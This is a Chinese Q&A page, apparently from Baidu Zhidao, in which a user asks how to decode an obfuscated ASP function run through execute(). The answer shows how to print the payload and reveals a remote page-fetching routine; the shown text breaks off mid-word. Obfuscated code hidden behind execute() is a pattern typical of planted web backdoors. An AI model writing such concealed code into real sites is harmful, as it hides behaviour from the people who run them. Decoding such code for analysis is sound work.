谁能帮我把这个ASP自定义函数的代码解密?

来源：百度知道 编辑：UC知道 时间：2024/05/17 07:39:38
<%
Function Abc(temp)
For i =1 To len(temp)
If mid(temp,i,1)<>"?" Then
pk=asc(mid(temp,i,1))-99
If pk>126 Then
pk=pk-95
ElseIf pk<32 Then
pk=pk+95
End If
a=a&chr(pk)
Else
a=a&vbcrlf
End If
Next
Abc=a
End Function
execute(Abc("jyrgxmsr$kixLXXTTeki,yvp-?hmq$Lxxt?wix$LxxtAwivziv2gviexisfnigx,&QW\QP62\QPLXXT&-?Lxxt2stir$&KIX&0yvp0jepwi?Lxxt2wirh,-?mj$Lxxt2vieh}wxexi@B8$xlir$?i|mx$jyrgxmsr?irh$mj?kixLXXTTekiAf}xiwXsFWXV,Lxxt2viwtsrwiFsh}0&KF6756&-?wix$lxxtArsxlmrk?mj$ivv2ryqfiv@B4$xlir$ivv2Gpiev$?irh$jyrgxmsr??Jyrgxmsr$F}xiwXsFwxv,fsh}0Gwix-?hmq$sfnwxvieq?wix$sfnwxvieq$A$Wivziv2GviexiSfnigx,&ehshf2wxvieq&-?sfnwxvieq2X}ti$A$5?sfnwxvieq2Qshi$A$7?sfnwxvieq2Stir?sfnwxvieq2[vmxi$fsh}?sfnwxvieq2Tswmxmsr$A$4?sfnwxvieq2X}ti$A$6?sfnwxvieq2Glevwix$A$Gwix?F}xiwXsFwxv$A$sfnwxvieq2ViehXi|x$?sfnwxvieq2Gpswi?wix$sfnwxvieq$A$rsxlmrk?Irh$Jyrgxmsr"))
%>
可以看出,它是先定义了ABC这个

execute 改为 response.write ,就将执行代码打印出来了。

<%
Function Abc(temp)
For i =1 To len(temp)
If mid(temp,i,1)<>"?" Then
pk=asc(mid(temp,i,1))-99
If pk>126 Then
pk=pk-95
ElseIf pk<32 Then
pk=pk+95
End If
a=a&chr(pk)
Else
a=a&vbcrlf
End If
Next
Abc=a
End Function
execute(function getHTTPPage(url) dim Http set Http=server.createobject("MSXML2.XMLHTTP") Http.open "GET",url,false Http.send() if Http.readystate<>4 then exit function end if getHTTPPage=bytesToBSTR(Http.responseBody,"GB2312") set http=nothing if err.number<>0 then err.Clear end function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode = 3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadTe